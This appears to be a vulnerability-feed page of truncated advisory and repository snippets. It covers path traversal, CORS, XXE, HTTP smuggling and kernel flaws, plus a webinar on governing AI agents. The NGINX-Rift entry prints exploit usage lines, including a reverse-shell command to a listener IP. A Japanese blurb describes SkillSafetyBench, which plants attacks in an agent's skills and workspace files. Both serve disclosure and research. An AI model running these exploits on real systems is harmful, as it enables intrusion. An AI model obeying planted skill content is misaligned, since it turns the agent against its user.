CVE-2026-101067 dbgate save-uploaded-file Endpoint files.js saveUploadedFile path traversal

A vulnerability was identified in dbgate up to 6.8.1/7.0.2/7.1.8/7.2.5/7.3.1. This affects the function saveUploadedFile of the file files.js of the component save-uploaded-file Endpoint. Such manipulation of the argument filePath/fileName leads to path traversal. The attack may be launched...

CVE-2026-101067 dbgate save-uploaded-file Endpoint files.js saveUploadedFile path traversal

A vulnerability was identified in dbgate up to 6.8.1/7.0.2/7.1.8/7.2.5/7.3.1. This affects the function saveUploadedFile of the file files.js of the component save-uploaded-file Endpoint. Such manipulation of the argument filePath/fileName leads to path traversal. The attack may be launched...

CVE-2026-27579-CORS-Misconfiguration-Leading-to-Authenticated-Data-Exposure

CVE-2026-27579 – CORS設定ミスによる認証済みデータ漏洩 📌 アドバイザリ参照情報 CVE ID: CVE-2026-27579 GHSA: GHSA-qh5m-p8jh-hx88 ベンダー: karnop 製品: realtime-collaboration-platform 深刻度: HIGH CVSS 7.4 ベクトル: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N 🧠 脆弱性の概要 realtime-collaboration-platform プロジェクトには、Appwriteバックエンド設定におけるCORS設定ミス...

EUVD-2026-88237

Zohocorp ManageEngine DDI Central versions before 6201 are vulnerable to Insufficient access control in HA failover endpoint leading to destructive PostgreSQL database operations...

CVE-2026-12265 Missing Authorization on HA Failover Config allows Complete Data Destruction

Zohocorp ManageEngine DDI Central versions before 6201 are vulnerable to Insufficient access control in HA failover endpoint leading to destructive PostgreSQL database operations...

CVE-2026-12265 Missing Authorization on HA Failover Config allows Complete Data Destruction

Zohocorp ManageEngine DDI Central versions before 6201 are vulnerable to Insufficient access control in HA failover endpoint leading to destructive PostgreSQL database operations...

CVE-2026-12265

Zohocorp ManageEngine DDI Central versions before 6201 are vulnerable to an insufficient access control flaw in the HA failover endpoint . This vulnerability allows an attacker to perform destructive PostgreSQL database operations , potentially leading to complete data destruction. The vulnerabil...

FOSKiller

███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ █████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ ██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║...

CVE-2023-22518

CVE-2023-22518 Confluence Data Center 및 Server의 부적절한 권한 부여 취약점 Atlassian은 Confluence의 심각한 취약점에 대해 관리자에게 경고했습니다. 이 문제를 악용하면 데이터 손실로 이어질 수 있으므로 개발자들은 가능한 한 빨리 패치를 설치할 것을 촉구합니다. 이 취약점은 데이터 유출에는 사용될 수 없으며, atlassian.net 도메인을 통해 접근하는 Atlassian Cloud 사이트에는 영향을 미치지 않는다는 점에 유의하십시오...

Webinar: How to Govern AI Agents, Reduce Excessive Access, and Control Shadow AI

AI agents are moving into production faster than security teams can govern them. They are connecting to apps, handling data, calling APIs, and acting across business systems—often without the same controls applied to human users. According to Okta’s Global CISO Insights 2026 report, only 47% of...

CVE-2026-93265

A flaw was found in the Linux kernel's TC9563 power control driver. When parsing device tree nodes for the integrated Ethernet endpoint during device initialization, the driver improperly processes multiple functions, causing an out-of-bounds array access. A local attacker capable of supplying or...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Wildfire

CVE-2026-39154 · Stored XSS in CometChat group messages JS SDK 3.0.12 This directory holds an honest, self-contained reproduction of the render sink behind CVE-2026-39154: a stored cross-site scripting defect in the CometChat JavaScript SDK 3.0.12, where a group message's data.text field is...

CVE-2025-57833

CVE-2025-57833: Django SQL 인젝션 취약점 이 저장소는 Django ORM의 치명적인 SQL 인젝션 취약점인 CVE-2025-57833을 시연하고 설명합니다. 해당 취약점은 4.24.2.24 미만, 5.15.1.12 미만, 5.25.2.6 미만 버전에 영향을 미칩니다. 🚨 취약점 개요 CVSS 점수 : 9.8 치명적 영향 : 원격 코드 실행RCE으로 이어질 수 있는 SQL 인젝션 인증 필요 여부 : 없음 비인증 공격 📚 배경 이해하기 Django ORM이란? Django ORMObject-Relational...

SOC-Analyst-Portfolio

🛡️ Allen Ace SOC Analyst | Threat Hunter | Detection Engineer Detect • Investigate • Respond • Defend Welcome This portfolio documents my hands-on cybersecurity journey through practical investigations, enterprise lab environments, detection engineering, digital forensics, malware analysis, threat...

skill-safety-bench

SkillSafetyBench SkillSafetyBench は、スキル向けコンテキストへの攻撃によって引き起こされる安全性の失敗を評価するための、完全に具体化されたベンチマークです。各ケースでは、ユーザー向けタスクは通常のまま維持され、攻撃はローカルスキル、ヘルパースクリプト、サイドカーファイル、コーパス、テンプレート、またはエージェントが実行中に参照する可能性のあるその他のワークスペース成果物に配置されます。...

CVE-2026-14431

CVE-2026-14431 버그 수정 https://chromium-review.googlesource.com/c/v8/v8/+/7950517 maglev Check map of inlined array in ArrayIteratorPrototypeNext Fixed: 523884658 Change-Id: I2a2bba817952d7023eb4b97ad41d8bb460fb9359 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7950517 Commit-Queu...

EEF-CVE-2026-94194 Mint HTTP/1 client applies chunked framing when chunked is not the final transfer coding, enabling response smuggling through intermediaries

Summary Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in elixir-mint mint allows a malicious HTTP/1 server to desynchronize an intermediary and the Mint client on a pooled connection, poisoning the responses to subsequent requests that share the...

EEF-CVE-2026-91043 HPACK-indexed cookie fields in Mint HTTP/2 responses bypass max_header_list_size and exhaust client memory

Summary Allocation of Resources Without Limits or Throttling vulnerability in elixir-mint mint allows a malicious HTTP/2 server to exhaust memory on the client host and cause a denial of service. Mint.HTTP2 enforces the client's maxheaderlistsize setting only on the compressed size of an inbound...

resteasy-core: RESTeasy SourceProvider remote unauthenticated file read

A flaw was found in RESTEasy's SourceProvider. This vulnerability allows an unauthenticated attacker to perform an unauthenticated remote file read. By sending a specially crafted XML body with a DOCTYPE declaration referencing external entities to an endpoint that accepts application/xml and...